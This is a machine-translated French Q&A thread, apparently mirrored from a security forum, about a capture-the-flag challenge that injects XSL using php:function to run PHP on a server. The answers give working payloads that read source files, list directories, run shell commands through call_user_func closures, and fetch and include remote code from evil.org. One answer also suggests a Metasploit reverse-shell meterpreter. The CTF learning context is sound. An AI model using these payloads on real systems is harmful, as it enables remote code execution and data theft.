web-dev-qa-db-fra.com

Exécuter une fonction PHP qui renvoie un tableau à partir d'un fichier XSL

Il existe un défi de sécurité où vous devez exécuter du code sur le serveur pour récupérer un indicateur, et ce code doit être exécuté à l'aide d'un document XSL.

J'ai donc trouvé un moyen pour que le serveur interprète mon propre fichier XSL, et j'ai utilisé le php:function fonctionnalité pour exécuter une fonction php sur le serveur. Voici un exemple du code que je donne au serveur:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','index.php')"/>
</xsl:template>
</xsl:stylesheet>

Ce code affichera le code source de la page index.php.

L'étape suivante consiste à exécuter scandir sur le serveur pour lister le répertoire courant (pour trouver l'indicateur). Le problème que j'ai est que la réponse du serveur est seulement Array, c'est tout ce que le serveur produit.

Après avoir cherché pendant près de 8 heures, je suis bloqué et je ne trouve aucune fonctionnalité XSL qui produira le tableau renvoyé par scandir.

Notes:

  • Les fonctions qui permettent l'exécution de code (eval, exec, passthru, popen, proc_open, Shell_exec, system) sont désactivés par le serveur.
  • Je suis vraiment un débutant (noob complet) dans les langages XSL et XML.
10
Sidahmed

Je suis également un noob en ce qui concerne XSL. Pour être honnête, je ne savais pas que cela pouvait être aussi puissant ... et dangereux. Mais j'aurai une chance de toute façon.

Je ne sais pas s'il est possible d'obtenir la sortie d'une fonction renvoyant un tableau. Vous pouvez peut-être imbriquer les appels de fonction d'une manière ou d'une autre? Mais étant donné mon manque de connaissances sur XSL, je ne peux pas vous dire comment. Permet donc de contourner tout le problème. Existe-t-il un moyen d'obtenir la liste des répertoires sans avoir à gérer les tableaux du tout?

Entre le manuel PHP. Les deux fonctions suivantes semblent utiles:

resource opendir ( string $path [, resource $context ] )

Ouvre un descripteur de répertoire à utiliser dans les appels closedir(), readdir() et rewinddir() suivants.

string readdir ([ resource $dir_handle ] )

Renvoie le nom de l'entrée suivante dans le répertoire. Les entrées sont retournées dans l'ordre dans lequel elles sont stockées par le système de fichiers. [...] Si le descripteur de répertoire n'est pas spécifié, le dernier lien ouvert par opendir() est supposé.

Ainsi, vous ne pourrez pas obtenir la ressource à partir de opendir, mais puisque readdir suppose gentiment que vous voulez lire à partir de la dernière ressource, cela pourrait fonctionner de toute façon. Je suggère un fichier d'attaque avec quelque chose comme ceci:

<xsl:value-of select="php:function('opendir','/some/where/')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
...

Edit: Apparemment, il y a un undocumentet php:functionString() qui "convertira automatiquement la sortie en une chaîne", selon un commentaire sur - php.net . Je ne sais pas si cela aide, mais ça vaut le coup d'essayer.

11
Anders

xmlns: php = "http://php.net/xsl"

Ça alors! Je n'avais aucune idée que la documentation était si puissante!

La réponse "Array" est ce que vous obtenez lorsque vous effectuez une conversion implicite d'un tableau en chaîne en php. Enveloppez simplement votre appel à scandir dans quelque chose qui renverra une meilleure représentation des chaînes, comme le suggère Conor, par ex.

 implode(',', scandir('/some/where'))

(en référence au commentaire - print [_r] va l'envoyer à la sortie standard - mais l'interface XSL semble lire directement la valeur de retour).

En supposant que l'interface php: function ne le permette pas, vous pouvez essayer d'utiliser l'un des objets de l'itérateur d'annuaire (les objets ont des méthodes de sérialisation plus agréables).

Une autre approche serait d'inclure simplement PHP à partir d'un site distant ....

php:function('include','http://evil.org/interrogator.php')
1
symcbean

Si vous avez une exécution de code php arbitraire sur le serveur via ce xslt, vous pouvez couper l'homme du milieu et utiliser un compteur de php avec reverse TCP Connexion dans metasploit et avoir un mètrepreter sur la boîte. Ainsi , si l'indicateur ne se trouve pas dans le nom du fichier mais plutôt dans le contenu d'un fichier, vous pouvez facilement le télécharger ou le capturer.

Vous pouvez utiliser generate -t ​​raw en msf avec le php meterpreter configuré comme module et obtenir le code php pour copier facilement les pâtes.

0
Tobi Nary

Remarque: après avoir écrit cette réponse, je commence à douter que vous puissiez passer une fonction anonyme via le vecteur d'attaque dont vous disposez. Je laisse cette réponse ici afin que vous puissiez l'essayer, si vous en avez envie.

Hmm ... étant donné le scénario que vous décrivez, je tenterais de tirer parti de la puissance de call_user_func() , preg_replace_callback() ou - usort()1, en combinaison avec fonction anonyme .

Si l'une des fonctions qui acceptent un rappel est à votre disposition, vous accédez à presque tout le potentiel de PHP.


Quelques exemples utilisant call_user_func():

Exemple 1
Appel de scandir():

<xsl:value-of select="php:function('call_user_func', function(){
    return print_r(scandir('..'), true);
})"/>


Exemple 2
Comme il s'agit d'un paramètre de capture du drapeau, vérifiez si Opérateur d'exécution est laissé activé (j'en doute, mais cela vaut la peine d'essayer):

<xsl:value-of select="php:function('call_user_func', function(){
    return `ls -al`;
})"/>



Étant donné que call_user_func() permet de créer vos propres fonctions, vous faites également d'autres choses.

Exemple 3
Vérifiez la configuration du serveur:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    phpinfo();
    return ob_get_clean();
})"/>


Exemple 4
Ouvrez un socket, faites une requête HTTP et incluez le résultat sous la forme d'un fichier PHP via le wrapper de flux de données , ce qui peut éventuellement vous permettre de contourner quelques restrictions de sécurité:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    error_reporting(~0);
    ini_set(\'display_errors\', true);

    $errno = 0;
    $errstr = \'\';
    if (false === ($fp = fsockopen(\'evil.org\', 80, $errno, $errstr, 60))) {
        return \'Failed opening socket (\'.$errno.\')\': \'.$errstr;
    }

    fwrite($fp, &quot;GET / HTTP/1.1\r\nHost: evil.org\r\nConnection: Close\r\n\r\n\&quot;);
    $out = \'\';
    while (!feof($fp)) {
        $out .= fgets($fp, 128);
    }
    fclose($fp);
    include(\'data://text/plain;base64,\'.base64_encode($out));
    echo &quot;\n\nOk\n&quot;;
    return ob_get_clean();
})"/>

Remarque: si, dans l'exemple de code ci-dessus, \' Ne fonctionne pas, essayez de le remplacer par &apos;.

Si vous ne pouvez pas include le contenu distant, vous devrez fournir toutes les fonctionnalités requises sous forme de chaîne, ce qui est moins pratique, mais pas nécessairement moins puissant.


1 D'autres fonctions qui acceptent une fonction de rappel existent, donc, si les fonctions mentionnées dans cette réponse sont bloquées, c'est une question de traînée et d'erreur jusqu'à ce que vous en trouviez une qui est disponible.

0
Jacco